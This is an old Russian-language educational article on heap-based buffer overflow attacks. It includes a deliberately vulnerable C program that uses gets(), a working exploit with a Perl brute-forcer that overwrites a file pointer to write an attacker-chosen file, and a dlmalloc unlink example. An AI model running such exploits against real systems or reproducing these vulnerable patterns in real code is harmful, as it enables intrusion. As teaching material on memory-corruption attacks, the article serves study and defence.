Библиотека Интернет Индустрии I2R.ru |
|||
|
Атаки класса heap-based overflowНачнём с того, что атаки основанные на переполнении хипа (heap - куча) на порядок сложнее в понимании и реализации, чем атаки основанные на переполнении стэка (buffer overflows). Документации по этому виду атак мало, но, не смотря на эти факторы, атаки на переполнение хипа набирают широкий оборот, далеко ходить не стоит, два последних громких эксплойта: apache chunked encoding exploit и OpenSSH exploit. Ко всему прочему, существет много разновидностей этой атаки (взависимости от перезаписываемой секции, функции и переполняемого элемента). Для понимания принципа атаки необходимо знать: C, assembler и атаки stack overflow. Немного о секциях: heap - область динамической памяти, выделяемая на стадии исполнения программы. Пример: char *something = malloc(90); //something указатель на данные в хипе. .data - область иннициализированных данных, выделяется на стадии компиляции программы. Пример: char *something = "scrap dat"; static char something2 = "brooklyn zoo"; .bss - область неиннициализированных данных, выделяется на стадии исполнения. Пример: static int someshit; static char shit; Атаки на переполнения хипа тесно связаны с памятью, так что не мешает повторить значения некоторых функций, работающих с памятью. void *malloc(size_t size) - выделяет память для обекта, чей размер аргументирован переменной size void *calloc(size_t nmemb, size_t size) - выделяет память для массива (nmemb), каждый элемент которого имеет размер size. void *realloc(void *ptr, size_t size) - изменяет размер объекта, на который указывает ptr, на размер size и возвращает указатель на (возможно) перемещённый объект. void free(void *ptr) - освобождает память, выделенную с помощью функций malloc(), calloc(), realloc(), указателем на которую служит ptr void *memset(void *buf, int character, size_t len) - пишет len байтов переменной (unsigned char) character в buf. void *memcpy(void *dst, const void *src, size_t len) - копирует len байтов из переменной src в dst. void *mmap(void *addr, size_t len , int protect, int flags, int fd, off_t offset) - отображает файл или устройство в память. все описания функций, которые я дал, могут показаться немного абстрактными, так что обязательно читайте маны! Перезапись указателя. Перезапись указателя: нападающий может переписать различные данные, используя переполнение буффера расположенного в хипе. Рассмотрим стандартную ситуацию, программа записывает вводимые пользователем данные в файл. Используется функция gets(), так мы сможем перезаписать указатель на файл. $ cat > vul.c #include <stdio.h> int main(int argc, char **argv) { FILE *in; static char buf[16], *inf; // в секции bss if(argc<2){ puts("./vul exit(0); inf = "data"; // указатель который будем перезаписывать printf("enter sumthin': \n"); gets(buf); printf("После gets(): inf = %s, ",inf); // для удобства выведем указатель inf in = fopen(inf,"w"); // открываем файл для записи fputs(buf,in); // записать данные fclose(in); } ^D $ cc -o vul vul.c $ gdb vul ... (gdb) r blabla Starting program: /home/damnass/vul enter sumthin': AAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x40086842 in vfprintf () (gdb) quit $ exit Итак что здесь происходит: Классическое преполнение буффера происходит в функции gets(), как вы видите функция обращается явно не в 0x41414141, с-но eip не переписывается. Почему так происходит ? Потому что буффер лежит в сегменте BSS. Рассмотрим, что происходит при выполнении нижеследующих комманд: $ echo "dumbshit" | ./vul В этом коде не просто так включены аргументы (argv). Даже если бы программа не содержала аргумент, то argv[1] всё равно бы отобразился в памяти процесса. Так как мы не знаем смещения от argv[1] до esp нам придётся его перебирать. Для эксплоитации нам нужно сформировать такую строку: $ echo $BUF | ./vulprog1 nerfed.sh $BUF - буффер которым будем преполнять. Эксплойт и брутфорсер к нему: $ cat > expl.c // expl.c: // vul.c exploit // получем свою запись в любой (nerfed.sh в нашем случае) файл #include <stdio.h> #include <unistd.h> #define VBUF 16 // размер buf в vul.c u_long get_sp() { __asm__("movl %esp,%eax"); } int main(int argc, char **argv) { u_long address; int i, stringsize; char *string; char buf[VBUF+14]; if (argc < 2) {puts("use it like: ./expl0it exit(1);} memset(buf,0,sizeof(buf)); strcpy(buf,"echo n3rf3d! #"); // копируем байты, которые будут в файле (# - чтобы за коментировать левые стринги при переполнении) memset(buf+strlen(buf), 0x31, VBUF); // заполняем буфер байтами, которые будут переполнять буффер address = get_sp() + atoi(argv[1]); // этот цикл нужен, для систем little endian (большинство) - обработка числа for (i = 0; i < sizeof(u_long); i++) buf[VBUF + i] = ((u_long)address >> (i * 8) & 255); stringsize = strlen(buf) + strlen("./vul") + strlen("nerfed.sh") + 13; // формируем размер string string = (char *)malloc(stringsize); // создаём динамический массив string memset(string, 0, sizeof(stringsize)); snprintf(string, stringsize - 1, "echo '%s' | %s %s\n",buf,"./vul", "nerfed.sh"); // заливаем всё в string printf("addr: %p\n",address); system(string); // let's execute ! :) return 0; } $ make expl cc -O2 -o expl expl.c $ cat > bf.pl #!/usr/bin/perl for($i=0;$i<1000;$i++) { print "Попытка $i, "; system("./expl $i"); } $ perl bf.pl > result ... ... $ ls -l nerfed.sh -rw-r--r-- 1 root tim 30 Sep 18 21:07 nerfed.sh $ strings result | grep nerfed.sh After gets(): inf = nerfed.sh, addr: 0xcfbfdb6e $ cat nerfed.sh echo n3rf3d! #11nш№о1111111111 $ sh nerfed.sh n3rf3d! $ exit Наверняка потребуется повтрный запуск брутфорсера bf.pl. Можно также переполнить указатель на функцию, но об этом сами думайте... Немного о dlmalloc. Хип делится (по Doug Lea's Malloc) на chunks of memory (куски памяти). Обойдясь несколькими словами, chunk - это кусок памяти, который выделяется/освобождается из памяти при вызове функций семейства malloc. Но здесь надо заметить, что чанк никогда не равен тому размеру, который задал пользователь в функции. Размер колеблется в пределах +8 байт. Данная структура определяет чанк: struct malloc_chunk { size_t prev_size; // используется только если предыдущий чанк свободен size_t size; // размер чанка в байтах + 2 статус-бита struct malloc_chunk *fd; // используется только для свободных чанков: указатель на следующий чанк struct malloc_chunk *bk; // используется только для свободных чанков: указатель на предыдущий чанк }; Советую почитать /usr/share/doc/papers/malloc.ascii.gz. Немного практики, вот пример уязвимой программы: // vulnerable code, found in wild web // by Pierre-Alain FAYOLLE, Vincent GLAUME int main() { char *buf; char *bufone = (char *)malloc(666); // выделяем память (666 байт) для массива bufone char *buftwo = (char *)malloc(2); // то же для buftwo, только 2 байта printf("input: \n"); gets(buf); // ввод пользователя в buf strcpy(bufone, buf); // копируем buf -> bufone free(bufone); // освобождаем память от bufone free(buftwo); // освобождаем память от buftwo return(1); } Посмотрим на строку с strcpy(): здесь возможно переполнить bufone массивом buf (который тоже в свою очередь переполнен, так как использовалась функция gets()). В любом случае, мы перепишем тэги чанка, это prev_size, size, malloc_chunk *fd, malloc_chunk *bk. При вызове free() для первого чанка будет рассматриваться и следующий (второй) чанк - используется он или нет, функция unlink() отпустит его из листа и укрепит его с освобождённым чанком. #define unlink(P, BK, FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; } Придётся создать создать левый чанк с нужной информацией. Это длительный процесс, который я не собираюсь описывать, обратитесь к бумаге MaXX'a: vudo-howto.txt. Здесь всё... Примите на заметку эту табличку:
... и много других. Статья не притендует на туториал, на бумагу класса "...for fun and profit". Это скорее, просто ознакомление с данным видом атак. |
|
2000-2008 г. Все авторские права соблюдены. |
|